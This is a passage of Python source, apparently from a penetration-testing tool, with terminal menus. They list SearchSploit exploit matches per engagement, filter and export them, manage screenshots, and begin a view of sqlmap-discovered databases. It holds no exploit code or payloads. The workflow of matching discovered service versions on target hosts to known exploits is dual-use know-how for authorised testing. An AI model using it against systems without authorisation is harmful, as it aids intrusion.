            return 'clear'

    except (KeyboardInterrupt, click.Abort):
        pass

    return 'continue'


def view_exploits_menu(engagement_id: int):
    """View SearchSploit exploits found for the engagement with enhanced UX."""
    from souleyez.storage.exploits import get_exploits_by_engagement, get_exploit_stats
    from souleyez.ui.design_system import DesignSystem
    from rich.console import Console
    from rich.table import Table

    # State for filtering, sorting, pagination, and selection
    severity_filter = None  # None, 'CRITICAL', 'HIGH', 'MEDIUM', 'LOW'
    platform_filter = None  # None or specific platform name
    page = 0  # Current page (0-indexed)
    page_size = 20  # Exploits per page
    view_all_exploits = False  # Toggle to show all exploits without pagination
    selected_exploit_ids = set()  # Track selected exploits for multi-select

    while True:
        DesignSystem.clear_screen()
        width = get_terminal_width()
        console = Console(width=width - 4)

        # Header
        click.echo("\n┌" + "─" * (width - 2) + "┐")
        click.echo("│" + click.style(" SEARCHSPLOIT EXPLOITS ".center(width - 2), bold=True, fg='cyan') + "│")
        click.echo("└" + "─" * (width - 2) + "┘")
        click.echo()

        # Get stats and exploits
        stats = get_exploit_stats(engagement_id)
        exploits = get_exploits_by_engagement(engagement_id)

        if not exploits:
            click.echo(click.style("  No exploits found yet.", fg='yellow'))
            click.echo()
            click.echo("  💡 Run SearchSploit from the Tools menu to discover exploits")
            click.echo("     for your discovered services.")
            click.echo()
            click.pause("  Press any key to return...")
            return

        # Add severity info to each exploit
        for exploit in exploits:
            severity, emoji, color = _infer_exploit_severity(
                exploit.get('title', ''),
                exploit.get('type', '')
            )
            exploit['severity'] = severity
            exploit['severity_emoji'] = emoji
            exploit['severity_color'] = color

        # Calculate severity breakdown
        severity_counts = {
            'CRITICAL': sum(1 for e in exploits if e.get('severity') == 'CRITICAL'),
            'HIGH': sum(1 for e in exploits if e.get('severity') == 'HIGH'),
            'MEDIUM': sum(1 for e in exploits if e.get('severity') == 'MEDIUM'),
            'LOW': sum(1 for e in exploits if e.get('severity') == 'LOW')
        }

        # Apply filters
        filtered_exploits = exploits
        if severity_filter:
            filtered_exploits = [e for e in filtered_exploits if e.get('severity') == severity_filter]
        if platform_filter:
            filtered_exploits = [e for e in filtered_exploits if e.get('platform', '').lower() == platform_filter.lower()]

        # Sort by severity (Critical > High > Medium > Low), then by date (newest first)
        severity_order = {'CRITICAL': 0, 'HIGH': 1, 'MEDIUM': 2, 'LOW': 3}
        filtered_exploits.sort(key=lambda x: (
            severity_order.get(x.get('severity', 'MEDIUM'), 2),
            -(int(x.get('date_published', '9999-12-31').replace('-', '') or '99991231'))
        ))

        # Show enhanced statistics
        click.echo(click.style("  📊 Statistics:", bold=True, fg='cyan'))
        click.echo(f"     Total: {stats['total']} exploits")

        # Severity breakdown with color coding
        severity_line = "     Severity: "
        severity_line += click.style(f"🔴 Critical: {severity_counts['CRITICAL']}", fg='red') + "  |  "
        severity_line += click.style(f"🟠 High: {severity_counts['HIGH']}", fg='yellow') + "  |  "
        severity_line += click.style(f"🟡 Medium: {severity_counts['MEDIUM']}", fg='white') + "  |  "
        severity_line += click.style(f"🟢 Low: {severity_counts['LOW']}", fg='white')
        click.echo(severity_line)

        # Top platforms
        if stats.get('platform_breakdown'):
            platforms_str = ", ".join([f"{p['platform']}: {p['count']}" for p in stats['platform_breakdown'][:3]])
            click.echo(f"     Top Platforms: {platforms_str}")

        # Top types
        if stats.get('type_breakdown'):
            types_str = ", ".join([f"{t['type']}: {t['count']}" for t in stats['type_breakdown'][:3]])
            click.echo(f"     Top Types: {types_str}")

        click.echo(f"     Services with exploits: {stats['services_with_exploits']}")

        # Show active filters
        if severity_filter or platform_filter:
            filter_str = "     🔍 Active Filters: "
            if severity_filter:
                filter_str += f"Severity={severity_filter} "
            if platform_filter:
                filter_str += f"Platform={platform_filter}"
            click.echo(click.style(filter_str, fg='yellow'))

        click.echo()

        # Calculate pagination (or show all)
        total_exploits = len(filtered_exploits)
        total_pages = (total_exploits + page_size - 1) // page_size if total_exploits > 0 else 1
        if view_all_exploits:
            page_exploits = filtered_exploits
            start_idx = 0
            end_idx = total_exploits
        else:
            start_idx = page * page_size
            end_idx = min(start_idx + page_size, total_exploits)
            page_exploits = filtered_exploits[start_idx:end_idx]

        # Show exploits table using Rich
        if view_all_exploits:
            page_info = "(all)"
        elif total_pages > 1:
            page_info = f"Page {page + 1}/{total_pages}"
        else:
            page_info = ""
        click.echo(click.style(f"  🎯 Exploits (showing {start_idx + 1}-{end_idx} of {total_exploits}) {page_info}:", bold=True, fg='cyan'))
        click.echo()

        # Create Rich table
        table = Table(
            show_header=True,
            header_style="bold cyan",
            box=DesignSystem.TABLE_BOX,
            padding=(0, 1),
            expand=True
        )

        table.add_column("○", width=3, justify="center")  # Checkbox column
        table.add_column("#", width=4, justify="right")
        table.add_column("SEV", width=5)
        table.add_column("EDB-ID", width=10)
        table.add_column("DATE", width=8)
        table.add_column("PLATFORM", width=14)
        table.add_column("TARGET", width=20)
        table.add_column("EXPLOIT TITLE", width=65)

        # Add rows from current page
        for idx, exploit in enumerate(page_exploits, start_idx + 1):
            # Checkbox state
            exploit_id = exploit.get('id')
            checkbox = '●' if exploit_id in selected_exploit_ids else '○'

            # Get severity emoji
            emoji = exploit.get('severity_emoji', '🟡')

            # Get EDB-ID - handle None case
            edb_id = exploit.get('edb_id', '') or 'N/A'
            if edb_id != 'N/A':
                edb_id = str(edb_id)[:9]

            # Get date (year only)
            date_pub = exploit.get('date_published', '')
            year = date_pub[:4] if date_pub and len(date_pub) >= 4 else 'N/A'

            # Get platform
            platform = (exploit.get('platform', 'N/A') or 'N/A')[:13]

            # Build target info (IP:port or service name)
            target = ""
            if exploit.get('ip_address') and exploit.get('port'):
                target = f"{exploit['ip_address']}:{exploit['port']}"
            elif exploit.get('service_name'):
                target = exploit['service_name'][:19]

            # Get title (slightly shorter to fit target column)
            title = (exploit.get('title', 'N/A') or 'N/A')[:63]

            table.add_row(
                checkbox,
                str(idx),
                emoji,
                edb_id,
                year,
                platform,
                target,
                title
            )

        console.print("  ", table)

        # Pagination info
        if total_pages > 1 and not view_all_exploits:
            click.echo(f"\n  Page {page + 1}/{total_pages}")
        elif view_all_exploits:
            click.echo(f"\n  Showing all {total_exploits} exploits")

        # Tip and navigation
        click.echo()
        click.echo("  💡 TIP: Press 'i' for interactive mode")
        if total_pages > 1 and not view_all_exploits:
            click.echo("  n/p: Next/Previous page")
        click.echo()

        # Separator and inline menu
        click.echo("─" * width)
        click.echo()
        click.echo("  [v] View exploit details")
        if view_all_exploits:
            click.echo("  [t] Toggle - Show paginated view")
        else:
            click.echo("  [t] Toggle - Toggle pagination")
        click.echo("  [s] Severity - Filter by severity level")
        click.echo("  [l] Platform - Filter by platform")
        click.echo("  [g] Service - Group by discovered services")
        click.echo("  [/] Search - Search exploits")
        click.echo("  [x] Export - Export to CSV")
        click.echo("  [c] Clear - Clear all filters")
        click.echo("  [d] Delete - Delete exploit(s)")
        click.echo("  [q] Back")
        click.echo()

        # Get user choice
        try:
            choice_str = click.prompt("Select option", default='q', show_default=False).strip().lower()
        except (KeyboardInterrupt, click.Abort):
            return

        # Map choice to action
        if choice_str == 'q':
            choice = 0
        elif choice_str == 't':
            # Toggle view all exploits (disable pagination)
            view_all_exploits = not view_all_exploits
            if not view_all_exploits:
                page = 0  # Reset to first page when re-enabling pagination
            continue
        elif choice_str == 'v':
            choice = 1  # View details (will prompt for number)
        elif choice_str == 'i':
            choice = 'i'  # Interactive mode
        elif choice_str == 'n' and page < total_pages - 1 and not view_all_exploits:
            choice = 8  # Next page
        elif choice_str == 'p' and page > 0 and not view_all_exploits:
            choice = 9  # Previous page
        elif choice_str == 's':
            choice = 2  # Severity filter
        elif choice_str == 'l':
            choice = 3  # Platform filter
        elif choice_str == 'g':
            choice = 5  # Service grouping
        elif choice_str == '/':
            choice = 6  # Search
        elif choice_str == 'x':
            choice = 7  # Export
        elif choice_str == 'c':
            choice = 4  # Clear filters
        elif choice_str == 'd':
            choice = 10  # Delete
        else:
            continue

        if choice == 0:
            return

        elif choice == 'i':
            # Interactive mode - use interactive_select
            from souleyez.ui.interactive_selector import interactive_select

            columns = [
                {'name': '#', 'key': 'display_idx', 'width': 5},
                {'name': 'SEV', 'key': 'severity_emoji', 'width': 5},
                {'name': 'EDB-ID', 'key': 'edb_id', 'width': 10},
                {'name': 'PLATFORM', 'key': 'platform', 'width': 12},
                {'name': 'TITLE', 'key': 'title', 'width': 60},
            ]

            # Prepare items for selection (add display index)
            for i, exp in enumerate(filtered_exploits, 1):
                exp['display_idx'] = str(i)

            interactive_select(
                items=filtered_exploits,
                columns=columns,
                selected_ids=selected_exploit_ids,
                get_id=lambda e: e.get('id'),
                title='SELECT EXPLOITS'
            )

            # Show bulk actions if exploits selected
            if selected_exploit_ids:
                result = _exploits_bulk_action_menu(engagement_id, filtered_exploits, selected_exploit_ids)
                if result == 'clear':
                    selected_exploit_ids.clear()

        elif choice == 1:
            # View details
            try:
                idx = int(click.prompt("  Enter exploit # to view", type=int)) - 1
                if 0 <= idx < len(filtered_exploits):
                    exploit = filtered_exploits[idx]
                    DesignSystem.clear_screen()

                    # Show severity with color
                    severity_color = exploit.get('severity_color', 'white')
                    severity_emoji = exploit.get('severity_emoji', '🟡')

                    click.echo("\n" + "═" * width)
                    click.echo(click.style(f"  {exploit['title']}", bold=True, fg='cyan'))
                    click.echo("═" * width)
                    click.echo()
                    click.echo(f"  {severity_emoji} Severity: " + click.style(exploit.get('severity', 'MEDIUM'), fg=severity_color, bold=True))
                    click.echo(f"  EDB-ID: {exploit.get('edb_id', 'N/A')}")
                    click.echo(f"  Platform: {exploit['platform']}")
                    click.echo(f"  Type: {exploit['type']}")
                    click.echo(f"  Published: {exploit['date_published']}")
                    click.echo(f"  URL: {click.style(exploit['url'], fg='blue', underline=True)}")
                    click.echo(f"  Search Term: {exploit['search_term']}")

                    if exploit.get('ip_address'):
                        click.echo(f"  🎯 Matched Service: {exploit['service_name']} on {exploit['ip_address']}:{exploit['port']}")

                    click.echo()
                    click.pause("  Press any key to continue...")
                else:
                    click.echo(click.style("  Invalid exploit number!", fg='red'))
                    click.pause()
            except (ValueError, KeyError):
                click.echo(click.style("  Invalid input!", fg='red'))
                click.pause()

        elif choice == 2:
            # Filter by severity
            click.echo()
            click.echo(click.style("  Filter by Severity:", bold=True, fg='cyan'))
            click.echo()
            click.echo("    [1] 🔴 CRITICAL only")
            click.echo("    [2] 🟠 HIGH only")
            click.echo("    [3] 🟡 MEDIUM only")
            click.echo("    [4] 🟢 LOW only")
            click.echo("    [q] Cancel")
            click.echo()

            try:
                sev_choice = int(click.prompt("  Select severity", type=int))
                if sev_choice == 1:
                    severity_filter = 'CRITICAL'
                    page = 0  # Reset to first page when filtering
                    click.echo(click.style(f"\n  ✓ Showing only CRITICAL exploits", fg='green'))
                    click.pause()
                elif sev_choice == 2:
                    severity_filter = 'HIGH'
                    page = 0  # Reset to first page when filtering
                    click.echo(click.style(f"\n  ✓ Showing only HIGH exploits", fg='green'))
                    click.pause()
                elif sev_choice == 3:
                    severity_filter = 'MEDIUM'
                    page = 0  # Reset to first page when filtering
                    click.echo(click.style(f"\n  ✓ Showing only MEDIUM exploits", fg='green'))
                    click.pause()
                elif sev_choice == 4:
                    severity_filter = 'LOW'
                    page = 0  # Reset to first page when filtering
                    click.echo(click.style(f"\n  ✓ Showing only LOW exploits", fg='green'))
                    click.pause()
            except (ValueError, KeyboardInterrupt, EOFError):
                pass

        elif choice == 3:
            # Filter by platform
            # Get unique platforms from stats
            if stats.get('platform_breakdown'):
                click.echo()
                click.echo(click.style("  Filter by Platform:", bold=True, fg='cyan'))
                click.echo()

                for idx, platform_info in enumerate(stats['platform_breakdown'], 1):
                    platform_name = platform_info['platform']
                    count = platform_info['count']
                    click.echo(f"    [{idx}] {platform_name} ({count} exploits)")
                click.echo("    [q] Cancel")
                click.echo()

                try:
                    plat_choice = int(click.prompt("  Select platform", type=int))
                    if 1 <= plat_choice <= len(stats['platform_breakdown']):
                        platform_filter = stats['platform_breakdown'][plat_choice - 1]['platform']
                        page = 0  # Reset to first page when filtering
                        click.echo(click.style(f"\n  ✓ Showing only {platform_filter} exploits", fg='green'))
                        click.pause()
                except (ValueError, KeyboardInterrupt, EOFError):
                    pass
            else:
                click.echo(click.style("\n  No platform data available", fg='yellow'))
                click.pause()

        elif choice == 4:
            # Clear filters
            severity_filter = None
            platform_filter = None
            page = 0  # Reset to first page when clearing filters
            click.echo(click.style("\n  ✓ All filters cleared", fg='green'))
            click.pause()

        elif choice == 5:
            # List exploits by service
            from souleyez.storage.hosts import HostManager
            
            DesignSystem.clear_screen()
            click.echo("\n" + "┌" + "─" * (width - 2) + "┐")
            click.echo("│" + click.style(" EXPLOITS BY SERVICE ".center(width - 2), bold=True, fg='cyan') + "│")
            click.echo("└" + "─" * (width - 2) + "┘")
            click.echo()
            
            # Group exploits by search term (which represents the service)
            exploits_by_service = {}
            for exploit in exploits:
                service_key = exploit.get('search_term', 'Unknown')
                if service_key not in exploits_by_service:
                    exploits_by_service[service_key] = []
                exploits_by_service[service_key].append(exploit)
            
            # Show services with exploit counts
            click.echo(click.style("  📋 Services with Available Exploits:", bold=True, fg='cyan'))
            click.echo()
            
            sorted_services = sorted(exploits_by_service.items(), key=lambda x: len(x[1]), reverse=True)
            
            for idx, (service, service_exploits) in enumerate(sorted_services, 1):
                count = len(service_exploits)
                platforms = set(e.get('platform', 'unknown') for e in service_exploits)
                platforms_str = ', '.join(platforms)
                
                click.echo(click.style(f"  {idx}. {service}", bold=True, fg='yellow'))
                click.echo(f"     Exploits: {count} ({platforms_str})")
                
                # Show first 3 exploits for this service
                for i, exploit in enumerate(service_exploits[:3], 1):
                    edb_id = exploit.get('edb_id', 'N/A')
                    title = exploit.get('title', 'N/A')[:70]
                    click.echo(f"       [{edb_id}] {title}")
                
                if len(service_exploits) > 3:
                    click.echo(f"       ... and {len(service_exploits) - 3} more")
                
                click.echo()
            
            click.pause("  Press any key to continue...")

        elif choice == 6:
            # Search exploits - show service selection first
            from souleyez.storage.hosts import HostManager
            from souleyez.storage.exploits import search_exploits
            
            # Get discovered services
            hm = HostManager()
            all_hosts = hm.list_hosts(engagement_id)
            active_hosts = [h for h in all_hosts if h.get('status') == 'up']
            
            discovered_services = []
            for host in active_hosts:
                try:
                    services = hm.get_host_services(host['id']) or []
                except:
                    services = host.get('services', [])
                
                if not isinstance(services, list):
                    continue
                    
                for svc in services:
                    svc_name = svc.get('service_name', 'unknown')
                    svc_version = svc.get('service_version', '') or svc.get('version', '')
                    svc_product = svc.get('service_product', '') or svc.get('product', '')
                    port = svc.get('port')
                    ip = host.get('ip_address', '')
                    
                    # Clean up nmap metadata
                    if svc_version:
                        for prefix in ['syn-ack ttl', 'ttl', 'syn-ack']:
                            if svc_version.startswith(prefix):
                                parts = svc_version.split()
                                cleaned_parts = []
                                skip_next = False
                                for i, part in enumerate(parts):
                                    if skip_next:
                                        skip_next = False
                                        continue
                                    if part in ['syn-ack', 'ttl']:
                                        if part == 'ttl':
                                            skip_next = True
                                        continue
                                    cleaned_parts = parts[i:]
                                    break
                                svc_version = ' '.join(cleaned_parts)
                                break
                    
                    full_version_string = svc_version or svc_product
                    
                    if not full_version_string or full_version_string == '-':
                        if svc_name and svc_name != 'unknown':
                            search_term = svc_name
                            display_name = svc_name
                            version = "Unknown"
                        else:
                            continue
                    else:
                        import re
                        version_pattern = r'\b(v?\d+\.\d+[\w\.\-]*)\b'
                        match = re.search(version_pattern, full_version_string)
                        
                        if match:
                            version = match.group(1)
                            version_start = match.start()
                            clean_version = version
                            
                            # Clean version
                            clean_version = re.sub(r'-\d*ubuntu\d+$', '', clean_version)
                            clean_version = re.sub(r'-\d*debian\d+$', '', clean_version, flags=re.IGNORECASE)
                            clean_version = re.sub(r'([0-9]+\.[0-9]+\.[0-9]+)[a-z].*$', r'\1', clean_version)
                            clean_version = re.sub(r'p\d+.*$', '', clean_version)
                            
                            service_part = full_version_string[:version_start].strip()
                            service_part = re.sub(r'\s+(version|ver|v|in|with|\(Ruby|\(GNU|\(protocol)$', '', service_part, flags=re.IGNORECASE).strip()
                            
                            if service_part:
                                display_name = service_part
                                search_term = f"{display_name} {clean_version}"
                            else:
                                display_name = full_version_string
                                version = "Unknown"
                                search_term = full_version_string
                        else:
                            if 'RPC #' in full_version_string or full_version_string.startswith('('):
                                display_name = full_version_string
                                version = "Unknown"
                                search_term = svc_name
                            else:
                                display_name = full_version_string
                                version = "Unknown"
                                search_term = full_version_string
                    
                    discovered_services.append({
                        'search_term': search_term,
                        'service': display_name,
                        'version': version,
                        'port': port,
                        'ip': ip,
                        'service_id': svc.get('id'),
                        'host_id': host.get('id')
                    })
            
            # Show service selection
            if discovered_services:
                # Deduplicate by port (prefer entries with version info)
                seen = {}
                for svc in discovered_services:
                    port = svc['port']
                    if port not in seen:
                        seen[port] = svc
                    else:
                        # Keep the one with more info (version or longer service name)
                        existing = seen[port]
                        svc_has_ver = _has_real_version(svc['version'])
                        existing_has_ver = _has_real_version(existing['version'])
                        
                        # Prefer entry with real version
                        if svc_has_ver and not existing_has_ver:
                            seen[port] = svc
                        elif not svc_has_ver and existing_has_ver:
                            pass  # Keep existing
                        # If both have/lack version, prefer longer/more detailed name
                        elif len((svc.get('service') or 'unknown')) > len((existing.get('service') or 'unknown')):
                            seen[port] = svc
                
                unique_services = list(seen.values())
                unique_services.sort(key=lambda x: (x['port'] if isinstance(x['port'], int) else 99999))
                
                DesignSystem.clear_screen()
                click.echo(click.style("\n🎯 All Discovered Services\n", fg='green', bold=True))
                click.echo(click.style("  #  Port           Service                           Version", fg='cyan'))
                click.echo(click.style("  " + "─" * 100, fg='cyan'))
                
                for idx, svc in enumerate(unique_services, 1):
                    port = str(svc['port']) if svc['port'] else "N/A"
                    port = port.ljust(13)
                    service_name = (svc.get('service') or 'unknown')[:35].ljust(35)
                    version = (svc['version'] if svc['version'] and svc['version'] != 'Unknown' else "-")[:20]
                    click.echo(f"  {idx:2d}. {port}  {service_name}  {version}")
                
                click.echo()
                click.echo("  [q] Back to manual entry")
                click.echo()
                
                selection = click.prompt(
                    click.style("Select service number (or 0 for manual)", fg='yellow', bold=True),
                    type=str,
                    default='q'
                ).strip()
                
                if selection == 'q':
                    search_term = click.prompt("  Enter search term", type=str)
                elif selection.isdigit() and 1 <= int(selection) <= len(unique_services):
                    search_term = unique_services[int(selection) - 1]['search_term']
                    click.echo(click.style(f"\n✓ Searching for: {search_term}", fg='green'))
                else:
                    click.echo(click.style("  Invalid selection!", fg='red'))
                    click.pause()
                    continue
            else:
                search_term = click.prompt("  Enter search term", type=str)
            
            # Search exploits
            results = search_exploits(engagement_id, search_term)
            
            DesignSystem.clear_screen()
            click.echo(f"\n  Found {len(results)} exploit(s) matching '{search_term}':\n")
            
            if results:
                for idx, exploit in enumerate(results[:20], 1):
                    click.echo(f"  {idx}. [{exploit['edb_id']}] {exploit['title']}")
            else:
                click.echo(click.style("  No exploits found in database for this search term.", fg='yellow'))
                click.echo("  Try running SearchSploit from the main menu to search Exploit-DB.")
            
            click.echo()
            click.pause("  Press any key to continue...")

        elif choice == 7:
            # Export exploits to CSV
            import csv
            from pathlib import Path
            from datetime import datetime

            try:
                # Determine output directory
                output_dir = Path.home() / '.souleyez' / 'exports'
                output_dir.mkdir(parents=True, exist_ok=True)

                # Generate filename with timestamp
                timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
                filename = f"exploits_{engagement_id}_{timestamp}.csv"
                filepath = output_dir / filename

                # Write CSV
                with open(filepath, 'w', newline='', encoding='utf-8') as f:
                    writer = csv.writer(f)

                    # Header
                    writer.writerow([
                        'Severity', 'EDB-ID', 'Date Published', 'Platform', 'Type',
                        'Title', 'URL', 'Search Term', 'Matched Service',
                        'IP Address', 'Port'
                    ])

                    # Data rows
                    for exploit in filtered_exploits:
                        matched_service = f"{exploit.get('service_name', '')} on {exploit.get('ip_address', '')}:{exploit.get('port', '')}" if exploit.get('ip_address') else ''

                        writer.writerow([
                            exploit.get('severity', 'MEDIUM'),
                            exploit.get('edb_id', 'N/A'),
                            exploit.get('date_published', ''),
                            exploit.get('platform', ''),
                            exploit.get('type', ''),
                            exploit.get('title', ''),
                            exploit.get('url', ''),
                            exploit.get('search_term', ''),
                            matched_service,
                            exploit.get('ip_address', ''),
                            exploit.get('port', '')
                        ])

                click.echo()
                click.echo(click.style(f"  ✓ Exported {len(filtered_exploits)} exploits to:", fg='green'))
                click.echo(f"    {filepath}")
                click.echo()
                click.pause("  Press any key to continue...")

            except Exception as e:
                click.echo()
                click.echo(click.style(f"  ✗ Export failed: {str(e)}", fg='red'))
                click.echo()
                click.pause("  Press any key to continue...")

        elif choice == 8:
            # Next Page
            if page < total_pages - 1:
                page += 1
            else:
                click.echo(click.style("\n  Already on last page!", fg='yellow'))
                click.pause()

        elif choice == 9:
            # Previous Page
            if page > 0:
                page -= 1
            else:
                click.echo(click.style("\n  Already on first page!", fg='yellow'))
                click.pause()

        elif choice == 10:
            # Delete Exploit(s)
            click.echo()
            click.echo(click.style("  Delete Exploits", bold=True, fg='cyan'))
            click.echo()
            click.echo("  Enter exploit number(s) to delete (from current page):")
            click.echo("  - Single: 5")
            click.echo("  - Multiple: 1,3,5")
            click.echo("  - Range: 1-5")
            click.echo()

            try:
                selection = click.prompt("  Exploit(s)", type=str).strip()
                if not selection:
                    continue

                # Parse selection
                exploit_indices = []
                for part in selection.split(','):
                    part = part.strip()
                    if '-' in part:
                        # Range
                        start, end = part.split('-')
                        exploit_indices.extend(range(int(start) - 1, int(end)))
                    else:
                        # Single
                        exploit_indices.append(int(part) - 1)

                # Get exploits to delete (from page_exploits which are displayed)
                exploits_to_delete = []
                for idx in exploit_indices:
                    if 0 <= idx < len(page_exploits):
                        exploits_to_delete.append(page_exploits[idx])

                if not exploits_to_delete:
                    click.echo(click.style("\n  No valid exploits selected!", fg='yellow'))
                    click.pause()
                    continue

                # Confirm deletion
                click.echo()
                click.echo(click.style(f"  ⚠️  About to delete {len(exploits_to_delete)} exploit(s):", fg='yellow', bold=True))
                for exploit in exploits_to_delete[:5]:  # Show first 5
                    click.echo(f"     - {exploit.get('title', 'Unknown')[:70]}")
                if len(exploits_to_delete) > 5:
                    click.echo(f"     ... and {len(exploits_to_delete) - 5} more")
                click.echo()

                confirm = click.confirm("  Are you sure you want to delete these exploits?", default=False)
                if confirm:
                    from souleyez.storage.exploits import delete_exploits_by_ids
                    exploit_ids = [e['id'] for e in exploits_to_delete]
                    deleted_count = delete_exploits_by_ids(exploit_ids)

                    click.echo()
                    click.echo(click.style(f"  ✓ Deleted {deleted_count} exploit(s)", fg='green'))
                    click.pause()

                    # Refresh page if it's now empty
                    if len(page_exploits) <= deleted_count and page > 0:
                        page -= 1
                else:
                    click.echo(click.style("\n  Deletion cancelled", fg='yellow'))
                    click.pause()

            except (ValueError, IndexError) as e:
                click.echo(click.style(f"\n  Invalid input: {e}", fg='red'))
                click.pause()
            except (KeyboardInterrupt, EOFError):
                pass

        elif choice == 11:
            # Delete All Exploits
            from souleyez.storage.exploits import delete_exploits_by_engagement

            click.echo()
            click.echo(click.style("  ⚠️  DELETE ALL EXPLOITS", bold=True, fg='red'))
            click.echo()
            click.echo(f"  This will permanently delete ALL {total_exploits} exploits")
            click.echo("  from this engagement.")
            click.echo()

            confirm1 = click.confirm("  Are you ABSOLUTELY sure?", default=False)
            if confirm1:
                confirm2 = click.prompt("  Type 'DELETE' to confirm", type=str)
                if confirm2 == 'DELETE':
                    deleted_count = delete_exploits_by_engagement(engagement_id)
                    click.echo()
                    click.echo(click.style(f"  ✓ Deleted {deleted_count} exploit(s)", fg='green'))
                    click.pause()
                    # Reset to first page
                    page = 0
                else:
                    click.echo(click.style("\n  Deletion cancelled (confirmation mismatch)", fg='yellow'))
                    click.pause()
            else:
                click.echo(click.style("\n  Deletion cancelled", fg='yellow'))
                click.pause()


def view_screenshots_menu(engagement_id: int):
    """View and manage screenshots for the engagement."""
    from souleyez.storage.screenshots import ScreenshotManager
    from souleyez.storage.engagements import EngagementManager
    from pathlib import Path
    import subprocess
    
    sm = ScreenshotManager()
    em = EngagementManager()
    
    while True:
        DesignSystem.clear_screen()
        width = get_terminal_width()
        
        current = em.get_by_id(engagement_id)
        
        click.echo("\n┌" + "─" * (width - 2) + "┐")
        click.echo("│" + click.style(" SCREENSHOTS ".center(width - 2), bold=True, fg='cyan') + "│")
        click.echo("└" + "─" * (width - 2) + "┘")
        click.echo()
        
        # List screenshots
        screenshots = sm.list_screenshots(engagement_id)
        
        if not screenshots:
            click.echo(click.style("  No screenshots found", fg='yellow'))
            click.echo()
            click.echo("  💡 Add screenshots with: souleyez screenshots add /path/to/image.png")
            click.echo()
            click.echo("  " + "═" * (width - 4))
            click.echo()
            click.echo("    [q] ← Back")
            click.echo()
            
            choice = click.prompt("Select option", type=str, default='q', show_default=False)
            if choice == 'q':
                return
            continue
        
        click.echo(f"  Engagement: {current['name']}")
        click.echo(f"  Total Screenshots: {len(screenshots)}")
        click.echo()
        
        # Display table
        console = Console()
        table = Table(show_header=True, header_style="bold", expand=False)
        table.add_column("ID", style="cyan", width=6)
        table.add_column("Title", style="white", width=30)
        table.add_column("Filename", style="bright_black", width=25)
        table.add_column("Size", style="green", width=10)
        table.add_column("Links", style="yellow", width=20)
        table.add_column("Created", style="blue", width=12)
        
        for s in screenshots:
            # Format size
            size = s['file_size']
            if size < 1024:
                size_str = f"{size} B"
            elif size < 1024 * 1024:
                size_str = f"{size / 1024:.1f} KB"
            else:
                size_str = f"{size / (1024 * 1024):.1f} MB"
            
            # Format links
            links = []
            if s['host_id']:
                links.append(f"Host:{s['host_id']}")
            if s['finding_id']:
                links.append(f"Finding:{s['finding_id']}")
            if s['job_id']:
                links.append(f"Job:{s['job_id']}")
            links_str = ", ".join(links) if links else "None"
            
            title = s['title'] or s['filename']
            if len(title) > 30:
                title = title[:27] + "..."
            
            filename = s['filename']
            if len(filename) > 25:
                filename = filename[:22] + "..."
            
            table.add_row(
                str(s['id']),
                title,
                filename,
                size_str,
                links_str,
                s['created_at'][:10] if s['created_at'] else "N/A"
            )
        
        console.print(table)
        click.echo()

        # Menu
        from souleyez.ui.menu_components import StandardMenu

        options = [
            {'number': 1, 'label': 'View Screenshot', 'description': 'Open screenshot in default image viewer'},
            {'number': 2, 'label': 'Delete Screenshot', 'description': 'Remove screenshot from engagement'},
        ]

        choice = StandardMenu.render(options)

        if choice == 0:
            return
        elif choice == 1:
            screenshot_id = click.prompt("  Enter screenshot ID to view", type=int)
            screenshot = sm.get_screenshot(screenshot_id)
            if screenshot:
                filepath = Path(screenshot['filepath'])
                if filepath.exists():
                    click.echo()
                    click.echo(click.style(f"  Opening: {screenshot['title']}", fg='cyan'))
                    click.echo(f"  Location: {filepath}")
                    # Try to open with default viewer
                    try:
                        if sys.platform == 'darwin':  # macOS
                            subprocess.run(['open', str(filepath)])
                        elif sys.platform.startswith('linux'):  # Linux
                            subprocess.run(['xdg-open', str(filepath)])
                        else:  # Windows
                            subprocess.run(['start', str(filepath)], shell=True)
                        click.echo(click.style("  ✓ Screenshot opened", fg='green'))
                    except Exception as e:
                        click.echo(click.style(f"  Could not open screenshot: {e}", fg='yellow'))
                        click.echo(f"  Manual path: {filepath}")
                else:
                    click.echo(click.style("  Screenshot file not found!", fg='red'))
            else:
                click.echo(click.style(f"  Screenshot {screenshot_id} not found", fg='red'))
            click.pause()
        elif choice == 2:
            # Delete screenshots using interactive selector
            from souleyez.ui.interactive_selector import interactive_select

            if not screenshots:
                click.echo(click.style("\n  No screenshots to delete.", fg='yellow'))
                click.pause()
                continue

            selected_ids = set()
            columns = [
                {'name': 'ID', 'width': 6, 'key': 'id', 'justify': 'right'},
                {'name': 'Title', 'width': 30, 'key': 'title'},
                {'name': 'Filename', 'width': 25, 'key': 'filename'},
                {'name': 'Created', 'width': 20, 'key': 'created_at'},
            ]

            interactive_select(
                items=screenshots,
                columns=columns,
                selected_ids=selected_ids,
                get_id=lambda s: s.get('id'),
                title='SELECT SCREENSHOTS TO DELETE'
            )

            if selected_ids:
                click.echo(f"\n  Screenshots to delete: {len(selected_ids)}")
                if click.confirm(click.style("  Delete selected screenshots?", fg='red'), default=False):
                    deleted = 0
                    for sid in selected_ids:
                        sm.delete_screenshot(sid)
                        deleted += 1
                    click.echo(click.style(f"\n  ✓ Deleted {deleted} screenshot(s)", fg='green'))
                else:
                    click.echo(click.style("  Cancelled.", fg='yellow'))
            else:
                click.echo("\n  No screenshots selected.")
            click.pause()
        else:
            click.echo(click.style("  Invalid choice", fg='yellow'))
            click.pause()


def _view_sqlmap_database_details(all_databases, db_to_target, db_to_dbms, all_tables):
    """Interactive detailed view of a specific database."""
    from rich.console import Console
    
    console = Console()
    
    if not all_databases:
        click.echo(click.style("\n✗ No databases discovered!", fg='red'))
        click.pause()
        return
    
    DesignSystem.clear_screen()
    click.echo("\n" + "=" * 70)
    click.echo(click.style("DATABASE DETAILS", bold=True, fg='cyan'))
    click.echo("=" * 70)
    
    # List available databases
    db_list = sorted(all_databases)
    console.print("\n[bold]Available Databases:[/bold]\n")
    for idx, db in enumerate(db_list, 1):
        target = db_to_target.get(db, 'N/A')
        dbms = db_to_dbms.get(db, 'Unknown')
        table_count = len(all_tables.get(db, []))
        console.print(f"  [{idx}] [green]{db}[/green] - {dbms} on {target} ({table_count} tables)")
    
    console.print("\n  [q] Back\n")

    try:
        choice_input = click.prompt("Select database", type=str, default='q').strip()

        if choice_input == 'q':
            return

        try:
            choice = int(choice_input)
        except ValueError:
            return

        if 1 <= choice <= len(db_list):
            db_name = db_list[choice - 1]
            target = db_to_target.get(db_name, 'N/A')
            dbms = db_to_dbms.get(db_name, 'Unknown')
